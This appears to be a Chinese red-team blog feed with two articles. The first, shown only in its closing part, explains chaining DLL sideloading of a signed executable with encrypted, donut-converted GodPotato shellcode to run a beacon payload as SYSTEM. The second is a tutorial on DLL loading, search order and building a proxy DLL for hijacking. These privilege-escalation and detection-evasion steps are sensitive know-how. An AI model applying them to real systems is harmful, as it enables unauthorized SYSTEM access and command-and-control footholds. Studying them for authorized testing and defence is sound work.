<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>GodPotato 前置条件<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">GodPotato 依赖当前 token 的 <strong>SeImpersonatePrivilege</strong>（常见于服务账户、IIS 应用池、SQL Server 代理等）。普通桌面用户双击 <code>et.exe</code> <strong>通常无法</strong>提到 SYSTEM。白加黑解决的是「落地执行」，不是「无条件提权」。</div>
    </div>
</div>
<div class="details admonition tip open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-lightbulb" aria-hidden="true"></i>角色区分<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content"><ul>
<li><strong>白加黑（et.exe + 恶意 DLL + et.dat）</strong>：在当前（已有 SeImpersonate 的）进程上下文中解密并执行 GodPotato shellcode。</li>
<li><strong>GodPotato 写死的 cmd</strong>：指向 <strong>beacon</strong>（或其他要 SYSTEM 权限执行的载荷），<strong>不要</strong>再指向同一个 <code>et.exe</code>。</li>
<li><strong>donut 转换的 GodPotato</strong>：属于 CLR/.NET 加载型 shellcode，务必在 DllMain 外（如 <code>CreateThread</code>）执行，见 §5.1。</li>
</ul>
</div>
    </div>
</div>
<div class="mermaid" id="id-6">flowchart TD
    A[&#34;修改 GodPotato：cmd 写死 beacon 路径&#34;] --&gt; B[&#34;编译 newgod.exe&#34;]
    B --&gt; C[&#34;donut 提取 loader.bin&#34;]
    C --&gt; D[&#34;ShellcodeEncrypt.py 加密&#34;]
    D --&gt; E[&#34;重命名为 et.dat&#34;]
    E --&gt; H[&#34;同目录部署&#34;]
    F[&#34;et.exe &#43; krpt.dll&#34;] --&gt; H
    G[&#34;beacon.exe&#34;] --&gt; H
    H --&gt; I[&#34;在具备 SeImpersonate 的上下文中执行 et.exe&#34;]
    I --&gt; J[&#34;DLL（非 DllMain 重活）解密执行 GodPotato&#34;]
    J --&gt; K[&#34;提权后执行 beacon → SYSTEM 会话&#34;]</div>
<h4 id="step-1修改-godpotato写死-beacon-命令">Step 1：修改 GodPotato，写死 beacon 命令</h4>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-csharp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-csharp" data-lang="csharp"><span class="line"><span class="cl"><span class="n">potatoArgs</span> <span class="p">=</span> <span class="k">new</span> <span class="n">newgodArgs</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="c1">// 指向目标上的 beacon，而非白文件 et.exe</span>
</span></span><span class="line"><span class="cl">    <span class="n">cmd</span> <span class="p">=</span> <span class="s">&#34;cmd /c c:\\users\\public\\downloads\\beacon.exe&#34;</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span></span></span></code></pre></div></div>
<p>编译为 <code>newgod.exe</code>。</p>
<h4 id="step-2donut-提取-shellcode">Step 2：donut 提取 shellcode</h4>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-dos">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><pre tabindex="0"><code class="language-dos" data-lang="dos">donut.exe -i newgod.exe</code></pre></div>
<p>输出示例：</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-text">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">[ Shellcode     : &#34;loader.bin&#34;
</span></span><span class="line"><span class="cl">[ File type     : .NET EXE
</span></span><span class="line"><span class="cl">[ Target CPU    : x86+amd64</span></span></code></pre></div></div>
<h4 id="step-3加密-shellcode">Step 3：加密 shellcode</h4>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">python3 ShellcodeEncrypt.py loader.bin loader.dat</span></span></code></pre></div></div>
<p>将 <code>loader.dat</code> 改名为加载器约定名称（如与白文件对应的 <code>et.dat</code>）。</p>
<h4 id="step-4部署上线">Step 4：部署上线</h4>
<p>将以下文件放到<strong>同一目录</strong>（路径需与 Step 1 中写死的 beacon 路径一致），例如 <code>C:\Users\Public\Downloads</code>：</p>
<table>
	<thead>
			<tr>
					<th>文件</th>
					<th>作用</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td><code>et.exe</code></td>
					<td>白文件，触发 DLL 加载</td>
			</tr>
			<tr>
					<td><code>krpt.dll</code></td>
					<td>恶意 DLL：读 <code>et.dat</code> → 解密 → 执行</td>
			</tr>
			<tr>
					<td><code>et.dat</code></td>
					<td>加密后的 GodPotato shellcode</td>
			</tr>
			<tr>
					<td><code>beacon.exe</code></td>
					<td>GodPotato 提权后实际拉起的载荷</td>
			</tr>
	</tbody>
</table>
<p>执行 <code>et.exe</code> 后：DLL 在合适时机（非 DllMain 重活）解密执行 GodPotato shellcode →（在具备 SeImpersonate 时）提权 → 以 <strong>SYSTEM</strong> 执行 <code>beacon.exe</code>。</p>
<div class="details admonition note open">
    <div class="details-summary admonition-title">
        <i class="icon far fa-pen-to-square" aria-hidden="true"></i>beacon 落地<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content"><code>beacon.exe</code> 以明文落盘仍可能被杀软拦；实战中常对 beacon 再做免杀或改用内存执行链路。本文只演示 GodPotato 与白加黑的衔接关系。</div>
    </div>
</div>]]></description></item><item><title>Windows 白加黑技术剖析</title><link>https://blog.leeissonba.com/windows-dll-hijacking-analysis/</link><pubDate>Fri, 19 Dec 2025 13:34:00 +0800</pubDate><author>leeissonba@gmail.com (Simon)</author><guid>https://blog.leeissonba.com/windows-dll-hijacking-analysis/</guid><description><![CDATA[<div class="featured-image">
                <img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/featured.jpg" alt="Windows 白加黑技术剖析" referrerpolicy="no-referrer">
            </div><p>白加黑（Binary Hijacking / DLL Hijacking）是红队与免杀场景中常见的手法：借助合法签名的白程序加载攻击者控制的恶意 DLL，在绕过静态检测的同时实现代码执行。本文从 DLL 基础知识出发，梳理隐式/显式加载、搜索顺序与实战验证流程。</p>
<div class="details admonition warning open">
    <div class="details-summary admonition-title">
        <i class="icon fas fa-exclamation" aria-hidden="true"></i>合规声明<i class="details-icon fas fa-angle-right" aria-hidden="true"></i>
    </div>
    <div class="details-content">
        <div class="admonition-content">仅供授权渗透测试、安全研究与防御评估使用。请勿用于未授权系统。</div>
    </div>
</div>
<h2 id="一dll-基础知识">一、DLL 基础知识</h2>
<p>DLL（Dynamic Link Library）文件为动态链接库文件，又称「应用程序拓展」，是软件文件类型。在 Windows 中，许多应用程序并不是一个完整的可执行文件，它们被分割成一些相对独立的动态链接库，即 DLL 文件。</p>
<p>简单来说，DLL 是把一部分通用功能封装成独立模块，EXE 在运行时加载并调用这些功能，而不是把所有代码都编译进自身。</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/01-dll-overview.jpg" alt="" referrerpolicy="no-referrer"></p>
<h2 id="二什么是白加黑">二、什么是「白加黑」</h2>
<p>白加黑（Binary Hijacking / DLL Hijacking）本质是：</p>
<ul>
<li><strong>白</strong>：合法、可信、已签名的可执行文件（EXE）</li>
<li><strong>黑</strong>：攻击者控制的恶意 DLL</li>
<li><strong>利用点</strong>：Windows 的 DLL 搜索与加载顺序缺陷</li>
</ul>
<p>当白程序启动时，由于 DLL 搜索顺序问题，<strong>优先加载了攻击者放置的恶意 DLL</strong>，从而实现代码执行。</p>
<h2 id="三windows-dll-加载的基本流程">三、Windows DLL 加载的基本流程</h2>
<h3 id="1-隐式动态加载最常见">1. 隐式动态加载（最常见）</h3>
<p><strong>EXE 在编译 / 链接阶段就声明对 DLL 的依赖，系统在进程启动阶段自动完成 DLL 加载与函数绑定。</strong></p>
<ul>
<li>在 EXE 的 <strong>Import Table（IAT）</strong> 中声明依赖 DLL</li>
<li>进程启动时，系统自动加载所需 DLL</li>
</ul>
<p>示例：</p>
<p>test.h</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="cp">#pragma once
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">#ifdef __cplusplus
</span></span></span><span class="line"><span class="cl"><span class="k">extern</span> <span class="s">&#34;C&#34;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"><span class="cp">#endif
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">__declspec</span><span class="p">(</span><span class="n">dllimport</span><span class="p">)</span> <span class="kt">void</span> <span class="n">box</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">#ifdef __cplusplus
</span></span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="cp">#endif</span></span></span></code></pre></div></div>
<p>test.cpp</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;test.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">extern</span> <span class="s">&#34;C&#34;</span> <span class="kr">__declspec</span><span class="p">(</span><span class="n">dllexport</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="kt">void</span> <span class="n">box</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">MessageBoxA</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="s">&#34;test&#34;</span><span class="p">,</span> <span class="s">&#34;test.dll&#34;</span><span class="p">,</span> <span class="n">MB_OK</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div>
<p>main.cpp</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;test.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#pragma comment(lib, &#34;testdll.lib&#34;)
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">box</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div>
<ol>
<li><code>#include &quot;test.h&quot;</code> 告诉编译器：<code>box()</code> 这个函数存在，它的函数签名是什么。</li>
<li><code>#pragma comment(lib, &quot;testdll.lib&quot;)</code> 告诉<strong>链接器</strong>这个 EXE 需要用到一个 DLL 中导出的函数 <code>box</code>，导入信息在 <code>testdll.lib</code> 里。</li>
<li>链接器会在 EXE 中生成 Import Table：</li>
</ol>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><pre tabindex="0"><code>Import Directory
  └── testdll.dll
        └── box</code></pre></div>
<p>可以使用 <code>dumpbin</code> 查看生成的 exe import 导入情况：</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/02-import-table.jpg" alt="" referrerpolicy="no-referrer"></p>
<p>这是 exe 执行情况，其调用了 dll 里的 <code>box</code> 函数：</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/03-implicit-load-run.jpg" alt="" referrerpolicy="no-referrer"></p>
<hr>
<h3 id="2-显式动态加载">2. 显式动态加载</h3>
<p><strong>EXE 在编译 / 链接阶段不声明任何 DLL 依赖，而是在运行时通过 API 主动加载 DLL，并手动获取函数地址。</strong></p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-c">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="nf">LoadLibrary</span><span class="p">(</span><span class="s">&#34;test.dll&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nf">LoadLibraryEx</span><span class="p">(</span><span class="s">&#34;test.dll&#34;</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span></span></span></code></pre></div></div>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="c1">// main.cpp
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">typedef</span> <span class="nf">void</span> <span class="p">(</span><span class="o">*</span><span class="n">BOX_FUNC</span><span class="p">)();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">HMODULE</span> <span class="n">h</span> <span class="o">=</span> <span class="n">LoadLibraryA</span><span class="p">(</span><span class="s">&#34;testdll.dll&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">h</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">MessageBoxA</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="s">&#34;LoadLibrary failed&#34;</span><span class="p">,</span> <span class="s">&#34;error&#34;</span><span class="p">,</span> <span class="n">MB_OK</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">BOX_FUNC</span> <span class="n">box</span> <span class="o">=</span> <span class="p">(</span><span class="n">BOX_FUNC</span><span class="p">)</span><span class="n">GetProcAddress</span><span class="p">(</span><span class="n">h</span><span class="p">,</span> <span class="s">&#34;box&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">box</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">box</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">FreeLibrary</span><span class="p">(</span><span class="n">h</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div>
<p><strong><code>LoadLibraryA(&quot;testdll.dll&quot;)</code></strong> 是显式加载的核心。系统在这里会：</p>
<ol>
<li>搜索 <code>testdll.dll</code></li>
<li>映射 DLL 到当前进程地址空间</li>
<li>调用 <code>DllMain(DLL_PROCESS_ATTACH)</code></li>
<li>返回 DLL 的模块基址（HMODULE）</li>
</ol>
<blockquote>
<p>⚠️ 这一步<strong>不是进程启动时做的</strong>，而是代码执行到这里才发生。</p>
</blockquote>
<p><strong><code>GetProcAddress</code></strong> 在 <code>testdll.dll</code> 的 <strong>Export Table</strong> 中查找 <code>&quot;box&quot;</code>，返回函数真实地址并赋值给函数指针，此时才完成「函数绑定」。随后调用 <code>box()</code> 执行目标函数。</p>
<p>使用显式动态加载生成的 exe 文件，用 <code>dumpbin</code> 查看会发现 imports 内未找到 <code>testdll.dll</code>：</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/04-explicit-no-import.jpg" alt="" referrerpolicy="no-referrer"></p>
<p>程序执行截图：</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/05-explicit-load-run.jpg" alt="" referrerpolicy="no-referrer"></p>
<h3 id="3-区别">3. 区别</h3>
<p>一般来说：</p>
<ul>
<li><strong>业务正常、依赖稳定、必须存在的功能 → 用隐式</strong></li>
<li><strong>可选功能、插件化、兼容多系统版本、规避依赖 → 用显式</strong></li>
</ul>
<table>
	<thead>
			<tr>
					<th>维度</th>
					<th>隐式加载</th>
					<th>显式加载</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>DLL 是否必需</td>
					<td>是</td>
					<td>否</td>
			</tr>
			<tr>
					<td>接口稳定性</td>
					<td>高</td>
					<td>可能变化</td>
			</tr>
			<tr>
					<td>开发复杂度</td>
					<td>低</td>
					<td>高</td>
			</tr>
			<tr>
					<td>控制加载时机</td>
					<td>否</td>
					<td>是</td>
			</tr>
			<tr>
					<td>IAT 可见性</td>
					<td>可见</td>
					<td>不可见</td>
			</tr>
			<tr>
					<td>失败是否致命</td>
					<td>是</td>
					<td>可控</td>
			</tr>
			<tr>
					<td>插件支持</td>
					<td>不适合</td>
					<td>非常适合</td>
			</tr>
	</tbody>
</table>
<h2 id="四windows-dll-搜索顺序">四、Windows DLL 搜索顺序</h2>
<p>在<strong>未指定完整路径</strong>的情况下，Windows 按以下顺序查找 DLL（默认情况）：</p>
<ol>
<li><strong>程序自身所在目录</strong></li>
<li><code>C:\Windows\System32</code></li>
<li><code>C:\Windows\System</code></li>
<li><code>C:\Windows</code></li>
<li><strong>当前工作目录（CWD）</strong></li>
<li><code>PATH</code> 环境变量中的目录</li>
</ol>
<p>对于 <code>user32.dll</code> 这种系统关键 DLL，属于 Known DLL，不会走普通 DLL 搜索顺序，系统会强制从 <code>System32</code> 加载。</p>
<table>
	<thead>
			<tr>
					<th>DLL 类型</th>
					<th>是否可被同目录劫持</th>
			</tr>
	</thead>
	<tbody>
			<tr>
					<td>普通第三方 DLL</td>
					<td>可以</td>
			</tr>
			<tr>
					<td>应用私有 DLL</td>
					<td>可以</td>
			</tr>
			<tr>
					<td><code>user32.dll</code></td>
					<td>不可以（Known DLL）</td>
			</tr>
			<tr>
					<td><code>kernel32.dll</code></td>
					<td>不可以（Known DLL）</td>
			</tr>
			<tr>
					<td><code>ntdll.dll</code></td>
					<td>不可以（Known DLL）</td>
			</tr>
	</tbody>
</table>
<p>Known DLLs 注册表项路径为 <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs</code>。</p>
<p>常见的 Known DLL 包括：</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><pre tabindex="0"><code>ntdll.dll
kernel32.dll
kernelbase.dll
user32.dll
gdi32.dll
advapi32.dll
...</code></pre></div>
<h2 id="五白加黑攻击的形成条件">五、「白加黑」攻击的形成条件</h2>
<p>一个白程序可被「白加黑」，通常满足：</p>
<ol>
<li>白程序存在 DLL 依赖</li>
<li>DLL 加载路径不安全</li>
<li>攻击者可写入高优先级目录</li>
</ol>
<h2 id="六实战案例">六、实战案例</h2>
<p>在实际场景中，<strong>手工挖掘白文件虽然可行，但效率低、覆盖面有限，且高度依赖个人经验</strong>。更推荐使用自动化工具进行系统性发现与验证。</p>
<p>例如 <strong>ZeroEye</strong>，其通过对可执行文件的 <strong>DLL 加载行为、Import Table、运行时文件访问及异常加载路径</strong> 进行自动化分析，能够快速定位存在 DLL 劫持、隐式加载等风险的白文件候选目标。相较人工逐个逆向或动态调试，自动化工具在<strong>规模化扫描、一致性判断和复现稳定性</strong>上具有明显优势，更适合作为白文件挖掘的首选手段，而人工分析则用于后续的精准确认与利用评估。</p>
<h3 id="1-搭建环境">1. 搭建环境</h3>
<p>下载一个安装了很多程序的虚拟机，这里使用的是 <a href="https://github.com/arch3rPro/Pentest-Windows" target="_blank" rel="noopener noreffer ">Pentest-Windows11 v3.2</a>。</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/06-pentest-vm.jpg" alt="" referrerpolicy="no-referrer"></p>
<h3 id="2-扫描白文件">2. 扫描白文件</h3>
<p>使用 ZeroEye 工具扫描 D 盘：</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-bash">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">./zeroeye.exe -p d:<span class="err">\</span></span></span></code></pre></div></div>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/07-zeroeye-scan.jpg" alt="" referrerpolicy="no-referrer"></p>
<p>绿色的就是潜在的白文件，对 <code>bash</code> 这个程序分析一下：</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/08-bash-candidate.jpg" alt="" referrerpolicy="no-referrer"></p>
<p><code>dumpbin</code> 查看 <code>bash.exe</code> 文件调用了 <code>msys-2.0.dll</code>：</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/09-dumpbin-msys.jpg" alt="" referrerpolicy="no-referrer"></p>
<p>也可以通过 Process Monitor 工具分析依赖：</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/10-procmon-deps.jpg" alt="" referrerpolicy="no-referrer"></p>
<h3 id="3-dll-制作">3. DLL 制作</h3>
<ol>
<li>使用 VS 创建 DLL 项目</li>
</ol>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/11-vs-dll-project.jpg" alt="" referrerpolicy="no-referrer"></p>
<ol start="2">
<li>使用 CFF 工具导出 msys dll 的所有函数列表</li>
</ol>
<blockquote>
<p><strong>CFF Explorer</strong> 可用于对 EXE 文件进行静态分析，通过解析 PE 结构中的 <strong>Import Table</strong>，快速识别程序在加载阶段所依赖的 DLL 及对应导入函数。借助该工具，可以直观查看每个依赖 DLL 的名称、导入方式（按名称或序号）以及具体函数列表，从而判断程序的隐式 DLL 加载行为，为分析 DLL 劫持风险、白文件利用点及依赖关系提供基础依据。</p>
</blockquote>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/12-cff-exports.jpg" alt="" referrerpolicy="no-referrer"></p>
<p>源文件内新建模块 <code>.def</code> 文件：</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/13-def-file.jpg" alt="" referrerpolicy="no-referrer"></p>
<p>将前面导出的函数都指向一个自定义函数：</p>
<p><img src="https://blog.leeissonba.com/images/posts/windows-dll-hijacking-analysis/14-def-redirect.jpg" alt="" referrerpolicy="no-referrer"></p>
<p><code>dllmain.cpp</code> 内容如下：</p>
<div class="code-block code-line-numbers open" style="counter-reset: code-block 0">
    <div class="code-header language-cpp">
        <span class="code-title"><i class="arrow fas fa-angle-right" aria-hidden="true"></i></span>
        <span class="ellipses"><i class="fas fa-ellipsis-h" aria-hidden="true"></i></span>
        <span class="copy" title="复制到剪贴板"><i class="far fa-copy" aria-hidden="true"></i></span>
    </div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="c1">// dllmain.cpp : 定义 DLL 应用程序的入口点。
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&#34;pch.h&#34;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;windef.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;Windows.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">extern</span> <span class="nf">__declspec</span><span class="p">(</span><span class="n">dllexport</span><span class="p">)</span> <span class="kt">int</span> <span class="n">all_exec</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">MessageBoxA</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="s">&#34;dll inject text&#34;</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">BOOL</span> <span class="n">APIENTRY</span> <span class="nf">DllMain</span><span class="p">(</span> <span class="n">HMODULE</span> <span class="n">hModule</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                       <span class="n">DWORD</span>  <span class="n">ul_reason_for_call</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                       <span class="n">LPVOID</span> <span class="n">lpReserved</span>
</span></span><span class="line"><span class="cl">                     <span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">switch</span> <span class="p">(</span><span class="n">ul_reason_for_call</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">case</span> <span class="nl">DLL_PROCESS_ATTACH</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">case</span> <span class="nl">DLL_THREAD_ATTACH</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">case</span> <span class="nl">DLL_THREAD_DETACH</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">case</span> <span class="nl">DLL_PROCESS_DETACH</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">TRUE</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div></div>
<p>该代码实现了一个简单的 Windows DLL。DLL 对外导出函数 <strong>all_exec</strong>，在被调用时通过 <code>MessageBoxA</code> 弹出提示窗口，用于验证 DLL 是否被成功加载与执行。</p>
